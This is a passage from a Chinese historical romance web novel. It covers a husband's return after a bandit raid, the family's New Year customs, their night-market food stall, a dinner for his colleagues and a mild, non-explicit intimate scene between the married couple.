鞭炮一停,就有人走街串巷的敲锣打鼓:“有山贼强盗潜入镇上,大家伙不要惊慌,关紧家门,不要出家门。点亮院子,让山贼强盗无处遁形!” 等战况告一段落,杨县丞派人挨家挨户检查是否有漏网之鱼潜入,以确保百姓安危。 镇长听到事情解决了,心有余悸地拍了拍胸脯。 他去找县丞的时候,看到祁晟的时候,惊讶道:“祁郎君你怎么也在……你这手怎了!?” 祁晟手臂绑了沾血的纱布,应:“受了点皮外伤,无碍。” 县丞喊了在给伤员包扎的大夫:“赶紧过来给祁砦官包扎好伤口。” 吩咐后,转而看向镇长,说:“他正好有些本事,我便招揽他到我手下办事。” 镇长似乎也不意外,说:“祁家郎君本事大,如今被大人招揽至麾下,也可以一展身手了。” 杨县丞点了点头,心道可不,好在他当初没轻易放过他。 镇长复而看向县丞,感激道:“大人和诸位都是咱们安平镇的恩人。我现在就让人拿米拿粮招待诸位。” 杨县丞闻言,立马抬起了手:“不用,现在也不知道是否有漏抓的人,还不能放松警惕。” “你去安排一个地方让伤员休息就行。” 镇长应:“我现在就去安排!” 说着,就风风火火去安排了。 镇长离开,杨县丞与祁晟道:“我不与旁人说你的功劳,主要怕是走漏风声,山贼从而报复到你和你家人的身上。” 祁晟道:“属下清楚,可以的话,属下只领赏,不领功。” 杨县丞点了点头:“也行。” “不过我很好奇,你这家里就真这么缺银子吗?” 祁晟应:“毕竟是银子,没人不缺。” 杨县丞笑了:“那也是,谁会嫌银子少。” 过了一会,清点人数后,有人来报:“抓下贼子活口一百八十五人,死亡清点三百三十二人,在逃人数不明。” 杨县丞点了头:“让人继续排查。” 衙差应了声,转身去安排。 杨县丞转而对祁晟道:“等天亮,我让人把你与受伤人员先行回城,我迟一日再回去。” 祁晟颔首。 这时候大夫包扎好他人的伤口,也就过来给祁晟包扎。 大夫查看伤口时,杨县丞问:“这郎君的伤势如何?” 能得县丞亲自关照,大夫不敢马虎,应:“未伤及筋骨,只是皮肉伤,休养小半个月,不沾水,不干力气活,便可。” 杨县丞点了点头,随之看向祁晟,道:“你休息个几日,年初八后再来公署上值。” 祁晟暗暗松了一口气,开口道:“多谢大人。” 杨县丞心道,他道谢,他这个做上峰的还要谢他呢。 这三贯钱一个月工钱,还只做半个月的下属,还是请得很值当的。 大年初一一大早,陆鸢封了三个红包,给了两个孩子,又拿了一个给老太太。 老太太惊讶道:“怎还有我的份?” 陆鸢笑应:“因为我尊老爱幼。” 老太太:“你这孩子,也不知这张嘴是怎么长的,这么会说话。” 陆鸢笑吟吟地应:“吃蜜糖长大的,所以这嘴才会这么甜。” 老太太被她的话逗笑了:“还真会说话。” 陆鸢笑道:“快拆开来瞧瞧。” 老太太道:“没见那个当着人面拆红包的,不过怎么这么薄,你真放银子了?” 陆鸢:“那当然了。” 老太太半信半疑地把红包拆开,把里边的东西倾倒了出来,一小片银片落入了掌中。 陆鸢道:“虽然只有三钱重,但还是能做一副耳环的。” 老太太惊诧道:“这换成银钱可得有三百多文呢。” 陆鸢:“我今年挣了钱,大方着呢。” 老太太把自己准备的红包给了她:“和你的比起来,我这就少了,你别嫌弃才好。” 陆鸢双手接过,笑盈盈道:“不嫌不嫌,谢谢祖母,祝祖母身体健康,万事如意。” 老太太闻言:“你倒是喊祖母了。” 陆鸢:“过年不一样。” 两个孩子也学着陆鸢,朝着老太太道:“曾祖母,身体健康,万事如意。” 老太太把两个红包分给了她们。 给了红包后,一家子便开始用朝食。 这正吃着,隐约间似乎听见了马蹄声,在怀疑是幻听之际,两个大人的动作都不约而同地停了下来,陆鸢和老太太相视了一眼,下一瞬,倏然放下碗筷,起身。 陆鸢腿脚利索,是第一个从屋子跑出去的。 第93章 大年初一的大街小巷, 是孩童嬉戏声,大人间的唠嗑说笑声,还有炮仗声。 欢声笑语,满满的年味。 祁晟牵着马走在街道上, 归心似箭。 回到垂柳巷, 巷子的人见着他, 都惊诧:“呀,祁郎君可算是回来了, 你家媳妇和老太太脖子都给盼长了。” 祁晟回了声新春好,便步履匆匆地朝家而去。 这才到家门外, 他就看见一张充满着喜悦且朝气蓬勃的笑脸。 回了家, 感觉真好。 陆鸢跑到了跟前,虽然笑着, 但眼眶红红的:“你可算回来了, 可担心死我和老太太了……你怎么这么砢碜了?” 说到后头, 陆鸢都头点不确信了。 老太太走到了跟前, 拍了一下她的后背:“说什么呢, 那里砢碜了,分明还是英俊的。” 陆鸢摸了摸被打的地方, 心说胡子拉碴的,眼底还泛着青, 可不砢碜, 刚刚都有点没敢认。 祁晟摸了摸自己的下巴,这才反应过来自己这七八日都在山林之间, 都没有好好打理。 他无奈笑了笑:“先让我洗漱,再给我做点热食。” 老太太道:“对对对,先洗澡, 我这就去烧水。” 说着,也喊上陆鸢:“你也进来帮热一下昨天剩的羊杂汤和菜。” 陆鸢看了眼祁晟,说:“我一会儿再仔细盘问你。” 两人进了厨房,祁晟看向两个巴巴看着自己的小姑娘。 许是祁晟长了胡子,脸上也有些皲皮,姊妹俩有点不确定是他,一时没喊人。 祁晟道:“爹身上脏,就不抱你们了。” 听声音,两姊妹确定了,是她们的继父。 姊妹俩齐齐地喊了一声:“爹。” 祁晟对她们笑了笑:“春花秋花,新年好。” 春花甜甜地回了句:“爹,新年好。” 秋花情绪不明显,但也跟着她姐姐一同说:“爹,新年好。” 祁晟:“你们帮忙喂一下马。” 说着,他把马拴到了树干上。 厨房里,锅中本就还有一些热水,又添满,烧了不过小半刻,水就沸腾了。 但一锅水肯定不够他沐发沐浴的,舀到桶中,又多烧了一锅。 陆鸢正要提水出去,老太太忙道:“老规矩。” 陆鸢眨巴了一下眼,不解道:“啥老规矩?” 老太太没好气道:“上回晟哥儿回来那会儿,怎么跟你说的?” 陆鸢对上老太太的眼神,一瞬间心领神会。 “行吧,一会我去仔细检查检查。” 祁晟用冷水刮了胡子,一时间又帅回来了,就是脸干干的,估计都是这几日冷风给吹的。 陆鸢与他道:“进澡间,我先给你沐发,一会给你搓搓背,估计都能搓出二层泥了。” 祁晟接过她手里的热水,一愣,道:“沐发便行了,沐浴就不用你了。” 陆鸢:“那不行,老太太交代的,看看你身上有没有藏伤。老太太就是没交代,我也是要看的。” “再说了,我哪里没瞧过?” 祁晟听了这话,微微蹙眉,这话听着就很不对劲,但说的人是她,就没什么不对劲的。 进了澡间,祁晟把外衫脱和僕帽都脱下了,就着单衣背对陆鸢而坐。 陆鸢道:“七八天没洗了,可别长虱子了。” 祁晟:…… 这话,他不爱听,还是继续当作没听见。 陆鸢使劲揉搓了皂角,弄出浆液后才抹到他的头上继续揉搓:“等过些天,我就去买些皂豆。” 祁晟应道:“明日我与你一同逛。” 陆鸢问:“不用上值吗?” 祁晟:“初八才去,所以这些天我都能在家帮忙。” 陆鸢道:“我请了人的,你都忙了好些天了,估计也没能好好休息,好好吃饭,今晚明晚都不用你忙,你就好好休息吧。” 说着,便给他挠头:“力道合适吗?” 祁晟闭上了眼,舒适的“嗯”了一声。 “疼不疼呀?”她问。 “不……怎么忽然这么问?”祁晟反应了过来,睁开了双目。 陆鸢:“我可闻出来了你身上的血腥味,你身上的衣服干干净净的,也不是你的,肯定是借别人的,就是为了不让我们看到你身上的血污,还有划痕。” “你自己受伤的血腥味可掩盖不住。” 她可是做护理的,这点细节怎么可能没注意到。 “别与祖母说。” 陆鸢:“我也没打算和祖母说,一会我看看……头往后仰,我给你冲一下,再洗一遍。” 祁晟往后仰头,问:“真的很脏?” 陆鸢:“那倒不是,只是想着你在山里待了那么多天,我还要和你一块睡,我得给你洗干净点。” 祁晟笑了笑:“你是真爱干净,比祖母都爱干净。我仔细想了想,咱们生意能比别家要好,少不了干净整洁的原因。” 他们的桌子干干净净的,桌面和器皿都没有油污,就算油炸用的油,也是差不多就会换。别家或多或少,桌面和器皿都会有些许的油污。 “那可不,干干净净的,瞧着也有食欲。”她应。 洗了两遍后,老太太敲了敲浴室的门:“热水烧好了。” 陆鸢应了声:“行,我这就出来提。” 她给他擦了擦头,随即道:“你把衣服脱了,我去提水。” 祁晟:…… 陆鸢提水回来的时候,祁晟倒是脱了衣裳,但腰间围了块布巾,把关键的地方都给遮住了。 许是坐得板正,双臂放在腿上,有些许的用力,后背肌理很是结实。 方才沐发,还有些许水珠从后脖颈缓缓流下,落入后背脊窝往下。 陆鸢目光顺着水珠往下,看到了那块布,不禁翻了翻眼白,说:“我都不避人了,你还围着做什么?” 祁晟道:“这样我自在些。” 陆鸢心道又不是没睡过,整得黄花大闺男似的,防谁呢。 她把水放到他的身后侧,继而看到了包着纱布的手臂,她继而围着他转了一圈,才确定只有手臂受伤了。 她问:“一会我看一下你的伤口,我再去给你抓点药回来。” 祁晟道:“买了药,放在夜市街的小院,别拿回来。” “晓得了。”她应。 陆鸢:“你把手抬起来,我给你浇水。” 想了想,又道:“应该学我之前被热油烫伤的时候,用绳子吊着手臂才行。” 祁晟:“这不是你在给我洗,这又碰不到水。” 陆鸢调侃道:“你是在怪我上回没让你给我洗?” 祁晟无奈:“我没这意思。” 说着,把手抬起。 “大夫怎么说的?”她舀了一瓢水,淋在他的身上,目光却落在他的手臂上。 祁晟道:“只是划伤了皮肉而已,养小半个月就好。” 陆鸢不高兴了:“什么叫而已,这伤及了皮肉也是可大可小的事。” 这时代可没有什么消炎药,发个烧都是要人命的。 陆鸢揉了皂角,再往他身上抹,掌心触碰到他的后背时,他后背顿时绷紧。 她拍了一下他的后背,调侃道:“像个小姑娘似的,这么紧张做什么?” 祁晟一默,好半晌才道:“不是紧张,只是有些敏感。” 陆鸢闻言一哂:“了解了解,新婚的男人都这样。” 祁晟微微一滞,想问她怎么那么了解男人。 可转念一想,她定会生气,便没问出来。 心知她极有可能不是原来的苏丽娘,她的来历,她的底细,他丝毫不知,但也不想打破现在的宁静。 或许以后也会问起,但那定是他们携手半生之后的事。 陆鸢给他搓了背,随即放下布巾,与他道:“接下来你自己洗,伤口可别碰到水。” 祁晟点了头。 陆鸢从澡间出来,把门阖上就进了厨房。 正在盛汤的老太太见她出来了,忙追问:“晟哥儿身上没伤吧?” 陆鸢笑道:“郎君就是个勘查地形的,又不用亲自上阵,怎么可能会受伤。” 老太太闻言,心里头大石头也落了地,拍了拍胸口:“还好还好,列祖列宗保佑。” 陆鸢把灶台上的羊杂汤端出厨房,而后暗暗松了一口气。 老太太眼毒着呢,她可不敢久待,怕露馅。 祁晟从澡间出来时候,衣服穿着整齐,完全看不出手臂受伤了。 待他进堂屋后,陆鸢仔细瞅了他一眼,点头道:“这样看着顺眼了。” 老太太道:“赶紧坐下吃些东西,旁的事,晚点再问你。” 祁晟道:“也没什么事,我只知道昨晚守岁时,山贼想要进镇子烧杀抢掠,好在县丞大人早早就安排好了人来了个关门捉贼,我方伤亡极轻,更没有百姓伤亡。” 老太太听了这个好消息,悬着的心也放了下来,但想了想,道:“可万一那些没有出来的山贼在附近的村庄烧杀掳掠呢?” 祁晟分析道:“现在他们元气大伤,只敢夹着尾巴躲到深山里。他们若敢做到村子里抢夺财物,杀人抢人的事,猛虎寨的下场就是他们的下场。” “经过这几役,这广康城有个剿匪县丞的事肯定会在年后传遍整个岭南,别处我不知,但这广康城管辖之下的寨子,不敢再硬碰硬,至少在县丞在任的这几年,大部分都不敢再作乱。” 老太太道:“这是好事,要真少了贼乱,老百姓每到收粮食时,不用担心被抢了,更不用担心出行会遇上强盗了。” 话到后头,老太太感慨道:“咱们这个新上任的县丞,是真的做了件好事。” 陆鸢赞同地点了点头。 祁晟喝了满满一大碗的羊杂汤泡馎饦,也把昨晚剩下的菜给吃完了,看得老太太满眼的心疼。 陆鸢问他:“要不要我再去做点?” 祁晟摇了摇头,道:“我想去睡会了。” 老太太道:“对对对,赶紧歇一会。” 陆鸢也跟着进了屋,阖上了房门后,就让祁晟把衣服拉开,她瞧一下伤口。 陆鸢看过伤过,说:“还好,确实不是很深,但养伤这些天,不能提重物,更不用你推磨。” “一会我去医馆拿点药,你睡醒后,再来夜市接我。” 祁晟道:“我睡到晚上,就过去帮忙。” 陆鸢把伤口重新包扎起来,手法娴熟,一瞧就是个老手,祁晟看破不说破。 “下回别那么拼命了,下回再出去,躲在后边就好了,虽然有点可耻,但保命更重要,晓得不?”她睨了他一眼。 祁晟淡淡一笑,应:“知道了,下回不会这么拼命了。” 陆鸢嘀咕道:“就知道敷衍应和,做不做却又是另一回事。” 给他包扎好后,陆鸢道:“家里三十斤羊肉都没吃呢,还有六尾鱼,我琢磨着上回来咱们摊子吃夜宵的那几位捕快,你邀他们来家里吃个酒吧。” 祁晟道:“前两天休息的时候倒是说过这件事,我们还说若能平安回来,一定要聚一聚,我想起你买的鱼和肉,便邀了他们,约好年初二能回来,就年初三过来。” 陆鸢闻言,也松了一口气,道:“这羊肉可得一贯钱呢,我都怕浪费了,还想着弄成酱羊肉在夜市便宜买呢。” 说了会话,瞧着祁晟微微打了个哈欠,她道:“你睡吧,我们出门逛逛,不吵你。” 说着,她转身想出去的时候,祁晟却从她背后抱住,低声说:“你陪我睡一会儿。” 陆鸢也想他,且见他受伤了,心便软得一塌糊涂,也就随着他一块上榻躺下。 祁晟抱着她,原本还想说几句话,但实在实在是太累了,抱着她就睡了。 陆鸢原本还软得一塌糊涂的心肝,在被他抱着一动不动了半刻后,心肠都跟着硬了。 抬头瞧了他一眼,掰着他抱得死紧的手。 祁晟睡得有些迷糊:“怎了?” 他还问怎么了,抱这么紧,搁这抱布娃娃呢! 陆鸢没好气道:“松手!” 祁晟松开了手,她才得自由,下了床后转头瞧了他一眼。这才一小会,他又睡过去了,可想而知这七八天到底有多累。 到底是心疼的,动作轻缓地拉起被衾盖到了他的身上,然后轻手轻脚地出了屋子,轻轻地阖上了房门。 她压低声音与守在门口的两个孩子道:“你们爹太累了,先让他睡一会儿,我们带着曾祖母逛街去。” 第94章 陆鸢和老太太带着两个孩子去了东市, 逛到午时,去小食肆用了中饭后,就到夜市街小院子午憩。 趁着她们休息,陆鸢跑了一趟医馆, 与大夫说明了祁晟的情况, 让他开一些药, 避免感染发热。 大夫给她开了两天的药后,她又匆匆跑回来了, 把药给藏好。 胡七娘晌午就来帮忙了。 过年这几日,初一到初八, 陆鸢给她每天多加十文钱, 又加上白日和晚上的工钱,每天都能有五十三文钱, 八日就是四百二十四文。 要养家糊口的胡七娘, 自是非常乐意上工的。 今日是大年初一, 陆鸢特地封了十八文的红包, 讨个吉利。 今日最大的瓦舍会放烟花, 所以摆摊的人早早就去占位置。 年底时,有一部分摊位, 原先十文一晚和二十文一晚的好摊位,在年节涨价, 不需要抢摊位, 只需一次性交付二百文、四百文,就可以直接定下八日。 规定一出来, 别人都还在考虑的时候,陆鸢却是立即定下了这些摊位里边算是最好的摊位。 这平时一个晚上也能净挣百来文钱,最热闹的时候还能挣差不多两百文呢。 这过年几乎半城的人都会聚集到夜市, 人流量肯定不用愁。能占到好位置,八日虽得四百文,比平时高出了两倍不止,可说不定不用两日,就能把租金给全部赚回来了。 这笔账怎么算都不亏。 因着摊位早早就定好了,也不需要大早就去占位置,所以陆鸢依旧是以往一样的步骤,没有被打乱。 出摊后,陆鸢搬了几张杌子,外加一条高的长板凳放在摊子最后头,让老太太带着两个孩子坐在那处,也不会挡道,更不会拥挤,等看完烟花后,就让祁晟把她们先送回去。 长板凳备了水和零嘴,坐上个把时辰也不至于无聊。 天色还未全然暗下来,夜市的街道上已然都是人,人头攒动,好不热闹。 祁晟是天色刚暗那会儿,也就是戌时过来的。 陆鸢和胡七娘都忙得脚不沾地,老太太想帮忙的,但是人来人往,两个孩子又小,旁人一抱就走,她也只等看着孩子。 祁晟把马车放到车马停放处,交付五文钱,就会有人看管。子时前拉走,不加钱,子时后至天亮,还得多加五文钱。 此前,他们的马车拉不进院子,都是停放在那处。 祁晟一到,就开始帮忙。 和旁人一样,第一次见着祁晟,胡七娘都惊艳了许久,忍不住小声问陆鸢:“东家,这是你男人?” 陆鸢瞧了眼祁晟,应道:“是我男人。” 胡七娘感叹道:“东家,你家男人长得可真俊俏。” 陆鸢笑道:“是呀,是真俊俏,每个见了他的人,都会先赞叹他的样貌。其实看久了,也就两只眼睛,一个鼻子,一个嘴巴。” 祁晟炸着豆腐,听到她的话,扭头看了她一眼,眉头微拧。 陆鸢不经意和他对视了一眼后,他又把头扭了回去。 怎么觉着,他好像不太高兴的样子? 这也是实话呀,难不成他就不是两只眼睛一个鼻子一个嘴巴了? 不高兴个什么劲? 这人来人往,生意火爆,陆鸢一心只想挣钱,也没闲心思猜他的心思。 亥时一到,烟花砰的一声,在黑暗的天空中散开,整个夜空被映得璀璨。 所有人都不约而同地抬起了头,被绚烂的烟火吸引了注意力。 祁晟把秋花抱了起来,陆鸢则把春花抱起,让她们能看得更清楚。 春花第一次见识到烟花,一声声“哇”声不断地从口中而出。 瓦舍也是大手笔,烟花直接放了一刻。 直至烟花停了,还有许多人沉浸在美妙璀璨的烟火中,久久不能回神。 春花又惊又喜的道:“娘,娘,烟花好漂亮!” 陆鸢笑了笑,道:“以后每年,我都带你们来瞧烟花,好不好?” 春花慢不迭地点头。 烟花后,带着孩子的一些人渐渐散去,摊子也没有那么忙了,陆鸢便与祁晟道:“你先把老太太和两个孩子送回去吧。” 祁晟点了头,先行把老人孩子送回去。 等人走了,陆鸢也解开了围裙,与胡七娘道:“你先看着摊子,我小半时辰就出来。” 胡七娘虽不知道油条调配比例,和油炸香豆腐香料的配方,但还是学会了炸油条和炸豆腐。 陆鸢跑回了院子,麻利地开始煎药。 老太太在,她都不敢给祁晟煎药,只能等她们回去了。 小半个时辰后,陆鸢才把火熄了,只留些许未燃烬的红炭在风炉里温着汤药。 祁晟往返不用半个时辰就回来了。 见他回来,陆鸢赶着他回去:“药应该还热着,你赶紧回去趁热喝了,要是不热了,你再热热。” 祁晟点了头,先行回去了。 喝了药后,他又赶紧出来了。 子时过后,收摊后把东西都搬回了院子,胡七娘也随着她男人走了,陆鸢在屋子里头烧了个火盆,须臾,她拉着祁晟进屋:“你别忙活了,我买了纱布,给你上药。” 进了屋就解着他的腰带,祁晟道:“我自个来。” 解开了腰带后,祁晟把一旁的胳膊露了出来。 陆鸢小心翼翼地把纱布拆开,然后瞧了眼他的伤口,再用自制的棉签沾上金疮药,小心地给他涂抹。 陆鸢削了几根竹子后,再和纱布一同放锅里煮过后,纱布在竹签头部缠成球,就成了棉签。 上了药,再给他包上了纱布,打了个结后,目光落在他的胸口上边,胸肌不会太夸张,但也有起伏,忍不住上手戳了戳。 出其不意被调戏了的祁晟:“……” 四目相对,好半晌,陆鸢才讪讪的道:“我就想摸摸这个时候是不是软的,上回摸的时候,硬梆梆的。” 最后小声嘀咕:“还怪有弹性的。” 祁晟微微挺了挺腰身,拉起她的手,紧紧拽着,往方才被戳过的地方上放:“要摸就大大方方的摸,咱们俩是夫妻。” 掌心触碰到他的胸膛,只觉得掌心发烫。 陆鸢还是怪不好意思的,不仅掌心滚烫,就是脸颊也跟着发烫。 总觉得,有些涩涩的。 她只是个口嗨的,说到底,她也比祁晟好不到哪去。上回真办事的时候,她开始那会都是紧绷着的。 她暗中使劲把手给抽了出来。 才把手抽出来,就听见了他似从胸腔而发出的闷笑声,她抬眼瞪了他一眼:“笑什么笑!有什么好笑的。” 祁晟眼底都是笑意,说:“我发现,你也就只有一张嘴嘴硬,来真格的,你又会怕。” 这话,她就不爱听了,下一瞬就跨坐在了他腿上,眼神灼灼地盯着他:“我就没怕过。” 祁晟闻言,嘴角抑制不住地上扬,未伤的手臂直接揽住了她的腰身。 陆鸢愣了一下,正要起来,却被他的手臂一提,腰间被禁锢得死死的,一丝退路都没给她留,低低的嗓音中带着笑意:“是吗?” 陆鸢:“……” 她微微眯眼盯着他看,说:“我发现,你也变坏了。” 当初在他还好逗的时候,她就知道男人都一个德行。没开荤前,小小地调戏一下他,他能给你立即脸红,可开了荤后,他却能让你立刻脸红。 祁晟仰着头,与她脸的距离只有短短的一尺,看着她的眼神幽深而深邃:“没有人是一成不变的,还是说你不喜欢改变后的我?” 陆鸢受不了他的眼神,推了推他:“别闹了,咱们还得赶紧回去呢。” 祁晟依旧没松开她,道:“我与祖母说了,今晚太晚了,明早再回去,马车我也给停好了。” 陆鸢闻言,顿时杏眸圆瞪:“你可别打什么主意,你这手伤着呢。” 难怪方才东西搬下后,他人就不见了影,原是早有预谋,去把马车挺好了! 祁晟抱着她,把头埋在她颈窝下方,低声道:“这七八日风餐露宿,休息的时候,我都在想你,你就怜怜我罢。” 他全然没有旁的想法,只单纯的想她,念她,偏生从早归家后,她就没停过撩拨他,眼前是自己的想念的人,是自己的妻子,哪怕是圣人也不能做到无动于衷。 …… 卑鄙,搁她这使苦肉计呢。 偏生她还挺吃他示弱这一招的。 她想了想,说:“我有点累,你还受伤了,可别太折腾。” 埋在她颈窝的人,唇角微微上扬,似带着些许得逞后的笑意。 许久后,在冬日,祁晟也出了一层薄汗,他套上裤子,披上衣裳,正要去厨房烧水,却被人从后头踹了一脚。 “男人的话,骗人的鬼,没羞没臊!”陆鸢恼道。 祁晟轻咳了两声,给她盖被衾,说:“情不自禁。” 陆鸢瞪了他一眼,继而看向他的手臂,她冷笑了一声:“你完了,你这半个月可别想碰我了。” 祁晟闻言,循着她的目光望向自己的手臂,有丝丝血色渗透到外头的纱布。 许是方才忘情时,提着她腰身,忘记了手臂受伤了,也忘记了疼痛。 他蹙着眉头默了一下,才说:“不妨事。” 陆鸢可不惯着他:“你说不妨事不管用,要我说不妨事才行。” 说着,又从被衾里伸出腿踹了他一脚:“赶紧去烧水,回来再给你重新包扎。” 祁晟拢了拢衣襟,随后才出了房门,嘴角一直都弯着,未曾下来过。 看着祁晟出了屋子,陆鸢才皱着脸揉了揉腰。心说这哪像是手臂受伤的人,就那手,掐得她可真疼! 这人半点都不禁逗了,她下回学乖了,再也不会自掘坟墓了。下回想要挑逗前,还得掂量掂量自己的耐性,是不是能应付得了精力好得吓人的男人。 第95章 年初三, 是祁晟与同僚约好来家里吃饭的日子。 一大早,夫妻俩就出门买菜去了。 这辰时时,院门被敲响,老太太心里嘀咕着这么早到底是谁。 一打开门, 就看到门外站着一个身形高大的中年男人, 男人手里提着一条六七重的草鱼。 老太太愣了一下, 才忙问:“你找谁?” 男人见是老人,便客客气气地道:“老太太新年万福, 我是祁晟公署的同僚,姓嵇, 今日约好来他家做客。” 何老婆子听孙子提起过一嘴公署的捕头姓嵇, 她忙请人进来:“快请进。” 她解释道:“晟哥儿和他媳妇刚出门去买青菜了,很近的, 一会儿就回来。” 嵇捕头道:“不妨事, 我等一会儿。” 老太太让人进屋子坐下, 倒了热茶。 这才刚倒完茶水, 院外传来说话的声音:“有人在家吗?” 老太太听到声音, 从堂屋出来,就看见敞开的院门外来了两个二十来岁的年轻人。 两个年轻人齐齐地朝着何老婆子喊了声:“老太太。” 其中一个人道:“我们是祁砦官的同僚……” 话还没说完, 就见老太太身后出现的人。 两人惊喜地唤了声“头!” 嵇捕头看了眼两个手下,他们两个人手上各提了一个大猪脚, 和一大块肋排。 老太太有些讶异, 早早来了就罢了,怎还带了这么多东西。 “你们这些孩子来做客就做客, 咋自己带菜过来了?” 嵇捕头道:“大过年的,不好空手来,想不到带什么礼过来, 想到我们也要在这吃饭,索性就商量每个人带点菜过来。” 老太太道:“这哪里要得了这么多菜,家里还有二十几斤羊肉呢,就是盆里都还有几尾鱼,就等着你们来做客吃。” 嵇捕头道:“鱼就继续养着吧,这些肉不禁放,就先吃了。” 没一会,又来了人,这回是直接背了一捆柴过来。 老太太:…… 瞧出来了,孙子的同僚都是实诚人。 陆鸢和祁晟回到家里的时候,家里的院子坐了四五人,见他们回来,都站了起来,唤了一声祁砦官。堂屋里也有三个人。 陆鸢听祁晟说请了二十八个人,都是与他在一块办事的。 吃的中食,也不会影响她晚上出摊。 祁晟要请这么多人,陆鸢今早夜市回来,也把三张桌子都给搬回来了,便是风炉也都带回来了。 陆鸢一大早就开始做酱羊肉,也做了十来斤的羊肉萝卜汤。 她想着家里也有鱼,就去买了酸菜回来,琢磨着做个酸菜鱼。 这几十个人吃饭,可是很大的工程活。 陆鸢和祁晟去忙活的时候,其他人也没闲着,都主动过来找活干,嵇捕头帮忙宰鱼,有里两个人提了鸡来,也都自觉地去杀鸡。 陆陆续续地又有人带了酒过来,还有几个带了孩子过来的。 男孩子凑堆,陆鸢拿了春花秋花没怎么玩的鞭炮给他们,让他们到巷子外玩。而另外两个五六岁的小姑娘,则被春花带进屋子玩去了。 其中一个小姑娘的爹瞧了眼孩子们的屋子,诧异道:“你们对闺女还真是费了心思,这么个小屋子还捯饬得这么精巧。” 祁晟应:“孩子喜欢就好,总归也没费什么心思。” 祁晟也没特意和旁人解释过这两个孩子不是自己亲生的,所以公署上下都以为他英年早婚,育有两个女儿。 来做客的两个小姑娘,看到矮矮的小床和小桌子,还有祁晟和老太太给俩孩子做的玩具,眼睛都亮了。 老太太针线活厉害,陆鸢只要和她说玩偶的款式,再画个大概草图,她就能按照她说的做出来。 萌萌的狗子,小猫咪,玩偶熊也都做了出来,里边填充的是孩子以前的旧衣。 祁晟也用竹子或是藤条编织了织物的小篮子,小背篓,小筐。 再说这外头,基本上都不怎么用陆鸢动手,只需要指点就成。 她说要把鱼切片,霍捕头就拿着刀,利落把两条大鱼给杀了,然后把大骨去了,把鱼切片。 切了一片,问:“祁娘子,是这样吗?” 陆鸢瞅了眼:“再小了一点。” 霍捕头手起刀落的给鱼切片,刀法利落得很,鱼片的厚度也差不多,瞧得陆鸢心里发憷,这到底杀了多少的山贼强盗,才能有这么快这么好的刀法? 陆鸢叫他切好了鱼,小心翼翼地让他把鱼骨头给她。 她把鱼骨拿去厨房,热油煎鱼骨,然后再把一盆滚烫的水倒进了锅里,先把鱼骨熬成奶白色的汤,一会儿可以做酸菜鱼的汤底。 老太太在屋中帮忙打下手,说:“这要做什么?” 陆鸢:“酸菜鱼。” 老太太道:“这又是哪里的吃法?” 自从上回给县丞说了油条是临安的吃食,祁晟道会被误会是探子,她也不敢多说什么了,只应道:“自己瞎琢磨的,这鱼难免有些许的泥腥味,酸菜味重,刚好可以中和一下。” 不仅要放酸菜,她还打算放些青花椒。 汤水泛白后,陆鸢才把已经炒干水,也炒香的酸菜倒进了汤里。 煮了一会后,把酸菜和鱼骨都盛起来放在四个盆中,留了些汤,等鱼片切好后直接放下去烫一会,再浇上热油便可。 因着人多帮忙,即便是做四桌子的饭菜,只用了一个半时辰,就全给做好了,要不是锅少,还能做得更快。 菜肴全摆上了桌,丰盛且让人食指大动。 酱香羊肉,羊肉萝卜汤,酸菜鱼,白切鸡,红烧排骨就着猪蹄一锅炖,最后还有两份素菜。 每一份菜的份量都很足,足够这些大男人喝酒。 陆鸢和老太太自是不方便与他们这些男人坐一桌,且孩子还得盯着,所以都是和一群孩子坐一桌。 整个院子都热闹得紧。 老太太脸上的笑就没淡下来过,她望着热热闹闹的景象,感叹道:“家里已经很多年没有这么热闹过了。” 陆鸢给她夹了一块细腻的鱼腩,说:“以后每年都会热热闹闹的。” 吃过饭后,其他几桌人还在喝酒说话,陆鸢就让春花去与祁晟传个话。她就先到夜市街了,他陪陪客人,晚点再过去。 祁晟听着春花的话,抬起头看向陆鸢,遂点了点头 下午在家里收拾过后,也送走了客人后,祁晟便驱赶着马车,把锅碗瓢盆,还有桌椅板凳从中全都载了过来。 因着一会还得搬出去,也就先放在铺子门前。 在铺子外头,也没有人敢这么明目张胆地偷窃。 祁晟进了院子,胡七娘还在推磨,见他来了,一时间也不知道喊啥,只道:“东家说头有些疼,在屋子里歇着。” 祁晟闻言,进了屋子,就见她躺在床上休息。 他走到床边,把手背搭在她的额头上,又摸了摸自己的额头,一对比,她的体温确实有些烫。 早间还好好的,怎忽然就发热了? 祁晟拍了拍她:“丽娘,醒醒,我与你去医馆瞧瞧大夫。” 陆鸢脑袋有些昏沉,不想动:“我睡会儿就能好。” 祁晟哪里由得了她,径直把她的外衣拿来,把她从被衾中拉出,给她穿上衣裳。 陆鸢又不是烧得糊涂了,他这么弄她,她不清醒都难。 祁晟给她扣上系扣,道:“你病了,你都没有发觉?” 陆鸢道:“早上忙着,就有一点点头疼,也就没怎么在意。” 扣好了系扣后,祁晟又给她理了理发髻,扶着她出了屋子。 陆鸢看到七娘,道:“我去一趟医馆,一会儿就回来。” 胡七娘道:“东家赶紧去吧,别耽搁了。” 陆鸢没好气道:“只是一点点发热,没什么大事。” 就这点小感冒,吃一副退热药就能好。 出了院子外头,陆鸢道:“咱们一个手伤,一个头疼发热,果然是夫妻,这有难都一块来了。” 祁晟轻叹了一口气,道:“都病了,还有心思说笑呢?” 陆鸢:“这又不是病得要……” 似乎知道她要说什么,还没等她说出来,祁晟就直接把她的嘴给捂住了:“大过年的,别说这些不吉利的话。” 待他拿开手后,陆鸢嘀咕道:“和老太太一样神神叨叨的。” 祁晟:“这不是神神叨叨,只是事关你和祖母,还有孩子们的事,都不能马虎。” 陆鸢听着这话,心里暖暖的。 不是因为什么情情爱爱,而是因为在这个世上,还有这么一个人不是因为她是苏丽娘而关心她的人。 这个世上还有记挂着她的人,她才不至于在这个尚且还是陌生的世界那么孤单。 走了一会儿,陆鸢问:“你那些同僚都走了?” 祁晟道:“他们知道我要忙,所以都回家去了,不过他们有些人说今晚会带孩子过来夜市街。” 说到这,他继而道:“晚上你就在家里歇着,我去看着摊子就好,总归伤的是左手,不影响干活。” 陆鸢不太放心,道:“我就出去一会儿,不干活,亥时前一定回去,不然我肯定想着休息不好。” 祁晟道:“外头风大,人也多……” 陆鸢:“我先喝药,出摊前看看能不能退热,要是能退热,我就出去,成不?” 祁晟晓得她这性子就不是个安分的,只得点头。 陆鸢见他松了口,才说旁的事:“对了,你们这次剿了匪,就没有乘胜追击?打到他们老巢去?” 